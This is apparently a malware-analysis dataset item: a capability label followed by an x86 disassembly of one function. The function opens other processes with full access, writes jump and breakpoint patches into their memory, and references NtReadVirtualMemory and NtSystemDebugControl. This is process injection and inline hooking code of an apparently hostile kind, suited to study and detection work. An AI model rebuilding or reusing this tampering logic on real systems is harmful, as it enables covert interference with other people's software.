Function at 0x406fe0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0xf8
mov eax, dword [0x41913c]
xor eax, esp
mov dword [esp + 0xf4], eax
mov eax, dword [esp + 0x104]
push esi
push 0xc
push 0x41ac24
push 0x415d48
mov dword [esp + 0x28], eax
call dword [0x414024]
push eax
call dword [0x414018]
push eax
call fcn.00413342
mov eax, dword [0x41ac24]
mov ecx, dword [0x41ac28]
push str.www.baidu.com
push 0
add ecx, eax
push 0
mov dword [0x41ac30], eax
mov dword [0x41ac34], ecx
call dword [0x41411c]
mov esi, eax
call dword [0x4140a0]
cmp eax, 0xb7
je 0x407f30
test esi, esi
je 0x407f30
mov ecx, dword [esp + 0x1c]
xor eax, eax
push ebx
push ebp
push edi
lea edx, [esp + 0x38]
push edx
mov dword [esp + 0x48], eax
mov byte [esp + 0xe8], al
mov dword [esp + 0xe9], eax
mov dword [esp + 0xed], eax
mov dword [esp + 0xf1], eax
mov dword [esp + 0xf5], eax
mov dword [esp + 0xf9], eax
mov dword [esp + 0xfd], eax
mov dword [esp + 0x101], eax
mov byte [esp + 0x105], al
call fcn.00405640
mov eax, dword [case.0x404256.1]
mov edx, dword [eax + 0xc]
mov ecx, case.0x404256.1
call edx
mov ebx, eax
mov eax, dword [case.0x404256.1]
mov edx, dword [eax + 0xc]
add ebx, 0x10
mov ecx, case.0x404256.1
mov dword [esp + 0x14], ebx
call edx
mov ebp, eax
mov eax, dword [case.0x404256.1]
mov edx, dword [eax + 0xc]
add ebp, 0x10
mov ecx, case.0x404256.1
mov dword [esp + 0x18], ebp
call edx
mov edi, eax
mov eax, dword [case.0x404256.1]
mov edx, dword [eax + 0xc]
add edi, 0x10
mov ecx, case.0x404256.1
mov dword [esp + 0x3c], edi
call edx
mov esi, eax
mov eax, dword [esp + 0x38]
add esi, 0x10
cmp dword [eax - 0xc], 1
mov dword [esp + 0x10], esi
jl 0x407e7f
push eax
call dword [0x4141cc]
test eax, eax
je 0x407e7f
mov eax, dword [esp + 0x38]
call fcn.004037b0
mov eax, dword [0x41ac78]
mov edx, dword [eax - 8]
mov ecx, 1
sub ecx, dword [eax - 4]
sub edx, 0x104
or ecx, edx
jge 0x40716b
mov ecx, 0x104
mov eax, 0x41ac78
call fcn.00403330
mov eax, dword [0x41ac78]
push 0x104
push eax
push 0
call dword [0x4140a4]
mov esi, 0x41ac78
call fcn.00405960
mov eax, dword [0x41ac78]
push 0x5c
push eax
call fcn.00409a54
mov ecx, dword [0x41ac78]
add esp, 8
test eax, eax
jne 0x4071a2
or esi, 0xffffffff
jmp 0x4071a8
sub eax, ecx
sar eax, 1
mov esi, eax
mov eax, dword [ecx - 0xc]
sub eax, esi
dec eax
push 0x41ac78
lea ecx, [esp + 0x24]
call fcn.004085f0
lea edi, [esp + 0x3c]
call fcn.004056f0
mov eax, dword [esp + 0x20]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4071e5
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov ecx, dword [0x41ac78]
mov eax, dword [ecx - 0xc]
sub eax, esi
mov ecx, esi
call fcn.004082c0
mov edi, dword [esp + 0x28]
mov eax, edi
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x407200
sub eax, edx
sar eax, 1
lea esi, [eax - 1]
test esi, esi
je 0x407227
cmp word [edi + esi*2], 0x5c
je 0x407222
sub esi, 1
jne 0x407216
test esi, esi
jle 0x407227
inc esi
lea edx, [esp + 0x20]
push 0x41ac78
push edx
mov ebx, 0x415ce0
call fcn.00402c10
mov eax, dword [eax]
add esp, 8
push eax
mov ecx, edi
lea edx, [ecx + esi*2]
push edx
push 0x416ad4
push 0x415d04
call dword [0x414014]
mov eax, dword [esp + 0x20]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x407277
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
lea ecx, [esp + 0x3c]
push ecx
call fcn.00408380
call dword [0x41ac14]
push 0x4062a0
push 0x41ac38
call dword [0x41ac10]
call dword [0x41ac18]
mov edx, dword [0x41ac78]
mov esi, dword [0x414010]
push edx
call esi
push 0x41648c
call esi
call fcn.004066f0
mov eax, dword [0x41ac3c]
mov ecx, dword [0x41ac40]
mov edx, dword [0x41ac6c]
xor edi, edi
lea esi, [esp + 0x48]
mov dword [esp + 0x54], edi
mov dword [esp + 0x58], edi
mov dword [esp + 0x5c], edi
mov dword [esp + 0x60], edi
mov dword [esp + 0x48], eax
mov dword [esp + 0x4c], ecx
mov dword [esp + 0x50], edx
call fcn.00401c00
mov ecx, esi
call fcn.00402530
cmp dword [0x41ac68], edi
je 0x407306
mov eax, esi
call fcn.00402880
lea eax, [esp + 0x48]
push eax
call fcn.00401c80
mov ecx, dword [0x41ac4c]
push 0x41ac74
push ecx
lea edx, [esp + 0x88]
push edx
call fcn.004039c0
lea eax, [esp + 0x80]
push eax
call fcn.00403ba0
test eax, eax
jne 0x407340
mov dword [0x41ac5c], edi
push 0xffffffffffffffff
xor ecx, ecx
lea edx, [esp + 0x84]
call fcn.004041e0
mov edx, dword [ebp - 8]
mov edi, 1
mov ecx, edi
sub ecx, dword [ebp - 4]
sub edx, 0x104
or ecx, edx
jge 0x407379
mov ecx, 0x104
lea eax, [esp + 0x18]
call fcn.00403330
mov ebp, dword [esp + 0x18]
push ebp
call dword [0x41ac00]
lea esi, [esp + 0x18]
call fcn.00405960
mov eax, esi
push eax
mov eax, 4
call fcn.00408850
mov ebx, dword [esp + 0x18]
lea eax, [esp + 0x10]
call fcn.00402cf0
mov ebx, dword [0x41ac78]
lea eax, [esp + 0x14]
call fcn.00402cf0
push 0x416b34
lea ecx, [esp + 0x18]
push ecx
mov eax, edi
call fcn.00408790
mov eax, dword [esp + 0x10]
push eax
mov eax, dword [eax - 0xc]
lea edx, [esp + 0x18]
push edx
call fcn.00408790
push 0x416b38
push 0x83
push 0
call dword [0x414060]
mov esi, dword [esp + 0x14]
test eax, eax
je 0x4073f8
push esi
call fcn.00403740
add esp, 4
push 2
push esi
call dword [0x4140a8]
push esi
call dword [0x414080]
push 0x416b3c
push eax
call dword [0x41401c]
push str.user32.dll
mov dword [esp + 0x30], eax
push 0x416b54
lea eax, [esp + 0x18]
push eax
call fcn.00407fe0
mov ebx, dword [esp + 0x10]
lea eax, [esp + 0x18]
call fcn.00408240
mov eax, dword [0x41ac78]
cmp dword [eax - 4], edi
jle 0x407456
mov ecx, dword [eax - 0xc]
push ecx
push 0x41ac78
call fcn.00403380
mov eax, dword [0x41ac78]
lea edx, [esp + 0x18]
push edx
mov ebp, eax
lea eax, [esp + 0x34]
push str.NtSystemDebugControl
push eax
mov ecx, 0x41ac78
call fcn.004057f0
push eax
lea ecx, [esp + 0x34]
push ecx
mov ebx, 0x416b5c
call fcn.00402c10
lea edx, [esp + 0x48]
add esp, 0x10
push edx
mov ebx, eax
call fcn.00408670
mov esi, eax
mov eax, dword [esi]
sub eax, 0x10
add esp, 8
cmp dword [eax + 0xc], edi
jle 0x4074a9
mov eax, dword [eax + 4]
push eax
push esi
call fcn.00403380
mov esi, dword [esi]
lea ecx, [esp + 0x3c]
push ecx
lea edx, [esp + 0x44]
push 0x41ac78
push edx
mov ebx, 0x416b5c
call fcn.00402c10
lea ecx, [esp + 0x2c]
add esp, 8
push ecx
mov ebx, eax
call fcn.00408670
mov edi, eax
mov eax, dword [edi]
sub eax, 0x10
add esp, 8
cmp dword [eax + 0xc], 1
jle 0x4074ed
mov edx, dword [eax + 4]
push edx
push edi
call fcn.00403380
mov eax, dword [edi]
push ebp
push esi
push eax
call fcn.00407f60
mov eax, dword [esp + 0x2c]
add eax, 0xfffffff0
add esp, 0xc
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40751a
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x40]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40753a
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x34]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40755a
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x24]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40757a
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x30]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40759a
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
push 0x416b64
push 0x416b54
lea ecx, [esp + 0x1c]
push ecx
call fcn.00407fe0
mov ebx, dword [esp + 0x14]
lea eax, [esp + 0x38]
call fcn.00408240
mov edx, dword [esp + 0x38]
mov ebp, dword [esp + 0x28]
push 0
push edx
push ebp
call dword [0x4140ac]
push 0x416b6c
push 0x416b64
lea eax, [esp + 0x1c]
push eax
call fcn.00407fe0
push 0x416b6c
push str.user32.dll
lea ecx, [esp + 0x18]
push ecx
call fcn.00407fe0
mov ebx, dword [esp + 0x10]
lea eax, [esp + 0x18]
call fcn.00408240
lea eax, [esp + 0x14]
lea ebx, [esp + 0x10]
call fcn.004029c0
push 0x416b74
push 0x84
xor ebx, ebx
push ebx
call dword [0x414060]
mov esi, dword [esp + 0x10]
cmp eax, ebx
je 0x407633
push esi
call fcn.00403740
add esp, 4
push 2
push esi
call dword [0x4140a8]
push 0x41652c
call dword [0x4140b0]
mov edi, dword [0x414014]
push 0x41652c
push 0x41600c
push str.ntdll.dll
push 0x415d04
call edi
push 2
push 0x41652c
call dword [0x4140b4]
cmp dword [0x41ac44], ebx
jne 0x407709
push 0x41652c
push 0x416000
push 0x416b80
push 0x415d04
call edi
mov eax, dword [0x41ac08]
cmp eax, ebx
je 0x40769d
call eax
mov edi, dword [esp + 0x2c]
cmp edi, ebx
je 0x4076de
push 0x41652c
push 0x416000
push str.NtReadVirtualMemory
push 0x415d04
call dword [0x414014]
mov edx, dword [0x41ac48]
push 0x404790
push edx
lea esi, [esp + 0x18]
call fcn.00402bb0
push eax
call edi
mov esi, dword [esp + 0x1c]
add esp, 0xc
cmp dword [0x41ac5c], ebx
je 0x407709
push esi
call dword [0x414080]
push 0x416b98
push eax
call dword [0x41401c]
cmp eax, ebx
je 0x407709
push 0x404790
push ebp
push ebx
call eax
add esp, 0xc
mov esi, dword [0x414010]
push 0x416ba4
call esi
push 0x41648c
call esi
push ebx
push ebx
lea eax, [esp + 0x88]
push eax
push 0x403aa0
push ebx
push ebx
call dword [0x4140b8]
lea ecx, [esp + 0x3c]
push ecx
lea edx, [esp + 0x28]
mov byte [esp + 0xd0], bl
mov byte [esp + 0xd1], bl
mov byte [esp + 0xd2], bl
mov byte [esp + 0xd3], bl
mov byte [esp + 0xd4], bl
mov dword [esp + 0x20], ebx
push 0x41ac78
mov dword [esp + 0x80], ebx
mov dword [esp + 0x48], ebx
push edx
mov ebx, 0x416b5c
call fcn.00402c10
lea ecx, [esp + 0x40]
add esp, 8
push ecx
mov ebx, eax
call fcn.00408670
mov eax, dword [eax]
add esp, 8
push eax
call dword [0x4140b0]
mov dword [esp + 0x20], eax
mov eax, dword [esp + 0x34]
add eax, 0xfffffff0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x4077be
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x24]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4077de
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
lea edi, [esp + 0x10]
call fcn.004081e0
lea edi, [esp + 0x18]
call fcn.00408590
xor ebx, ebx
push ebx
push 0x4060c0
mov dword [esp + 0x2c], ebx
mov dword [esp + 0x3c], ebx
call dword [0x4141d8]
mov ebp, dword [esp + 0x44]
lea ebx, [ebx]
call dword [0x414078]
cmp eax, 0x3a980
jae 0x407862
mov ecx, dword [esp + 0x24]
mov eax, 0x2aaaaaab
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
lea edx, [eax + eax*2]
add edx, edx
add edx, edx
sub ecx, edx
jne 0x407883
push ebx
push 0x4060c0
call dword [0x4141d8]
lea esi, [esp + 0x48]
call fcn.00402380
cmp dword [0x41ac68], ebx
je 0x407883
mov eax, esi
call fcn.00402880
jmp 0x407883
cmp dword [esp + 0x34], ebx
jne 0x407883
mov eax, dword [esp + 0x60]
mov dword [esp + 0x34], 1
cmp eax, ebx
je 0x407883
push eax
call dword [0x414034]
mov dword [esp + 0x60], ebx
cmp dword [0x41ac5c], ebx
je 0x407cea
call fcn.00403960
mov edi, eax
cmp edi, 4
jbe 0x407cea
cmp dword [esp + 0x40], ebx
jne 0x407a0d
push edi
lea eax, [esp + 0x34]
push eax
lea ecx, [esp + 0x34]
push ecx
push 0x416bbc
mov dword [esp + 0x3c], ebx
mov dword [esp + 0x40], ebx
call dword [0x41abcc]
test eax, eax
je 0x407a0d
lea edx, [esp + 0x44]
push 0x41ac78
push edx
mov ebx, 0x415ce0
mov dword [esp + 0x48], 1
call fcn.00402c10
mov eax, dword [eax]
add esp, 8
push eax
push 0x416000
push 0x416bd0
push 0x415d04
call dword [0x414014]
lea eax, [esp + 0x44]
call fcn.00402e70
push 0x416bd8
push 0x416bec
call dword [0x4140bc]
push eax
call dword [0x41401c]
mov dword [esp + 0x74], eax
test eax, eax
je 0x407d69
push edi
push 1
push 0x1fffff
call dword [0x414098]
mov esi, eax
xor eax, eax
cmp esi, eax
jne 0x407954
push eax
call dword [0x414034]
jmp 0x407d69
mov ecx, dword [esp + 0x30]
push ecx
mov byte [esp + 0xda], al
mov byte [esp + 0xdb], al
mov byte [esp + 0xdc], al
mov byte [esp + 0xdd], al
mov al, 0xcc
push 4
lea edx, [esp + 0x7c]
mov byte [esp + 0x30], al
mov byte [esp + 0x1c], al
mov eax, dword [esp + 0x34]
push edx
push eax
push esi
mov byte [esp + 0xe8], 0xff
mov byte [esp + 0xe9], 0x15
mov byte [esp + 0x3d], 0xc3
mov byte [esp + 0x29], 0x55
call dword [0x41abf0]
mov edx, dword [esp + 0x30]
lea ecx, [esp + 0x1c]
push ecx
push 0x40
mov dword [esp + 0xde], eax
mov eax, dword [esp + 0x34]
push edx
push eax
push esi
call dword [0x4140c0]
test eax, eax
jne 0x4079db
push esi
call dword [0x414034]
jmp 0x407d69
push 2
lea ecx, [esp + 0x2c]
push ecx
mov ecx, dword [esp + 0x38]
push 2
lea edx, [esp + 0x20]
push edx
push 6
lea eax, [esp + 0xe8]
push eax
mov eax, dword [esp + 0x44]
add ecx, eax
push ecx
push eax
push esi
call dword [0x41abe4]
push esi
call dword [0x414034]
cmp dword [0x41abcc], 0
je 0x407cd8
cmp dword [0x41abc8], 0
je 0x407ad8
mov esi, dword [0x414014]
push 0x41652c
push 0x416000
push 0x416bfc
push 0x415d04
call esi
push 0x41652c
push 0x416000
push str.ntdll.dll
push 0x415d04
call esi
push edi
push 0
push 0
lea esi, [esp + 0x24]
call fcn.00405940
push eax
call dword [0x41abcc]
test eax, eax
jne 0x407ad8
lea edx, [esp + 0x70]
push 0x41ac78
push edx
mov ebx, 0x415ce0
call fcn.00402c10
mov eax, dword [eax]
add esp, 8
push eax
push 0x41600c
push str.127.0.0.1_localhost_n
push 0x415fb8
call dword [0x414014]
lea eax, [esp + 0x70]
call fcn.00402e70
cmp dword [0x41ac64], 0
lea esi, [esp + 0x10]
jne 0x407abd
push 0
push 0
jmp 0x407acb
mov ecx, dword [0x41ac1c]
mov edx, dword [0x41ac20]
push ecx
push edx
push edi
call fcn.00402bb0
push eax
call dword [0x41abc8]
cmp dword [0x41ac60], 0
je 0x407cd8
push edi
push 0
push 0
lea esi, [esp + 0x24]
call fcn.00405940
push eax
call dword [0x41abcc]
test eax, eax
je 0x407cd8
lea eax, [esp + 0x7c]
push 0x41ac78
push eax
mov ebx, 0x415ce0
call fcn.00402c10
mov eax, dword [eax]
add esp, 8
push eax
push 0
push str.127.0.0.1_localhost_n
push 0x415fb8
call dword [0x414074]
mov esi, eax
lea eax, [esp + 0x7c]
call fcn.00402e70
test esi, esi
jbe 0x407cd8
push edi
push 1
push 0x1fffff
call dword [0x414098]
mov edi, eax
test edi, edi
jne 0x407b62
push 0x64
call dword [0x41407c]
jmp 0x407d69
push 0x416c14
push 0x416bec
call dword [0x4140bc]
push eax
call dword [0x41401c]
lea ecx, [esp + 0x1c]
push ecx
push 0x40
mov ebx, eax
push 5
sub esi, ebx
push ebx
sub esi, 5
push edi
mov byte [esp + 0xe0], 0xe9
mov dword [esp + 0xe1], esi
call dword [0x4140c0]
test eax, eax
jne 0x407bb0
push edi
call dword [0x414034]
jmp 0x407d69
lea edx, [esp + 0x1c]
push edx
push 5
lea eax, [esp + 0xe4]
push eax
push ebx
push edi
call dword [0x4140c4]
mov ecx, dword [esp + 0xdc]
cmp ecx, dword [esp + 0xcc]
jne 0x407be7
mov dl, byte [esp + 0xd0]
cmp dl, byte [esp + 0xe0]
je 0x407bfe
lea eax, [esp + 0x1c]
push eax
push 5
lea ecx, [esp + 0xd4]
push ecx
push ebx
push edi
call dword [0x4140c8]
lea edx, [esp + 0x6c]
push 0x41ac78
push edx
mov ebx, 0x415ce0
call fcn.00402c10
mov eax, dword [eax]
add esp, 8
push eax
push 0
push 0x416c24
push 0x415fb8
call dword [0x414074]
mov esi, eax
lea eax, [esp + 0x6c]
call fcn.00402e70
test esi, esi
jbe 0x407cd1
push str.NoFind_DLL
push 0x416bec
call dword [0x4140bc]
push eax
call dword [0x41401c]
mov ebx, eax
lea eax, [esp + 0x1c]
push eax
push 0x40
push 5
sub esi, ebx
push ebx
sub esi, 5
push edi
mov dword [esp + 0xe1], esi
call dword [0x4140c0]
test eax, eax
jne 0x407c83
push edi
call dword [0x414034]
jmp 0x407d69
lea ecx, [esp + 0x1c]
push ecx
push 5
lea edx, [esp + 0xe4]
push edx
push ebx
push edi
call dword [0x4140c4]
mov eax, dword [esp + 0xdc]
cmp eax, dword [esp + 0xcc]
jne 0x407cba
mov cl, byte [esp + 0xd0]
cmp cl, byte [esp + 0xe0]
je 0x407cd1
lea edx, [esp + 0x1c]
push edx
push 5
lea eax, [esp + 0xd4]
push eax
push ebx
push edi
call dword [0x4140c8]
push edi
call dword [0x414034]
cmp dword [0x41ac54], 0
je 0x407cea
lea ebx, [esp + 0x78]
call fcn.00403530
cmp dword [esp + 0x20], 0
jne 0x407d69
lea ecx, [esp + 0x3c]
push ecx
lea edx, [esp + 0x68]
push 0x41ac78
push edx
mov ebx, 0x416b5c
call fcn.00402c10
lea ecx, [esp + 0x74]
add esp, 8
push ecx
mov ebx, eax
call fcn.00408670
mov eax, dword [eax]
add esp, 8
push eax
call dword [0x4140b0]
mov dword [esp + 0x20], eax
mov eax, dword [esp + 0x68]
add eax, 0xfffffff0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x407d49
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x64]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x407d69
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x24]
inc eax
xor ebx, ebx
cmp eax, 0xc
mov dword [esp + 0x24], eax
jle 0x407d7d
mov dword [esp + 0x24], ebx
push 0x1388
call dword [0x41407c]
cmp ebp, ebx
je 0x407e61
cmp ebp, 0xffffffff
je 0x407e61
push ebx
push ebx
push ebx
push ebp
call dword [0x414054]
push ebx
lea ecx, [esp + 0x20]
push ecx
push 0x1d
lea edx, [esp + 0xf0]
push edx
push ebp
call dword [0x414058]
cmp dword [esp + 0x1c], ebx
jbe 0x407810
lea eax, [esp + 0xe4]
push 0x3d
push eax
call fcn.00409770
add esp, 8
cmp eax, ebx
je 0x407810
cmp byte [eax + 1], bl
lea esi, [eax + 1]
je 0x407810
push esi
call fcn.00409844
add esp, 4
cmp eax, 0xcd141
jl 0x407e05
cmp eax, 0xcf84f
jle 0x407810
mov ecx, dword [0x416c8c]
mov dword [esi], ecx
mov dx, word [0x416c90]
push ebx
push ebx
mov word [esi + 4], dx
mov al, byte [0x416c92]
push ebx
push ebp
mov byte [esi + 6], al
call dword [0x414054]
lea eax, [esp + 0xe4]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x407e34
push ebx
lea ecx, [esp + 0x20]
push ecx
sub eax, edx
push eax
lea edx, [esp + 0xf0]
push edx
push ebp
call dword [0x41405c]
push ebp
call dword [0x414034]
xor ebp, ebp
jmp 0x407810
push ebx
push ebx
push 3
push ebx
push 1
push 0xc0000000
push str.RunError
call dword [0x414120]
mov ebp, eax
jmp 0x407810
add esi, 0xfffffff0
lea eax, [esi + 0xc]
or ecx, 0xffffffff
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x407e9b
mov ecx, dword [esi]
mov edx, dword [ecx]
mov eax, dword [edx + 4]
push esi
call eax
add edi, 0xfffffff0
lea ecx, [edi + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x407eb7
mov ecx, dword [edi]
mov eax, dword [ecx]
mov edx, dword [eax + 4]
push edi
call edx
add ebp, 0xfffffff0
lea eax, [ebp + 0xc]
or ecx, 0xffffffff
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x407ed4
mov ecx, dword [ebp]
mov edx, dword [ecx]
mov eax, dword [edx + 4]
push ebp
call eax
add ebx, 0xfffffff0
lea ecx, [ebx + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x407ef0
mov ecx, dword [ebx]
mov eax, dword [ecx]
mov edx, dword [eax + 4]
push ebx
call edx
mov eax, dword [esp + 0x38]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
pop edi
pop ebp
pop ebx
test edx, edx
jg 0x407f13
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, 1
pop esi
mov ecx, dword [esp + 0xf4]
xor ecx, esp
call fcn.00408e74
add esp, 0xf8
ret 0x10
push esi
call dword [0x414034]
mov ecx, dword [esp + 0xf8]
pop esi
xor ecx, esp
xor eax, eax
call fcn.00408e74
add esp, 0xf8
ret 0x10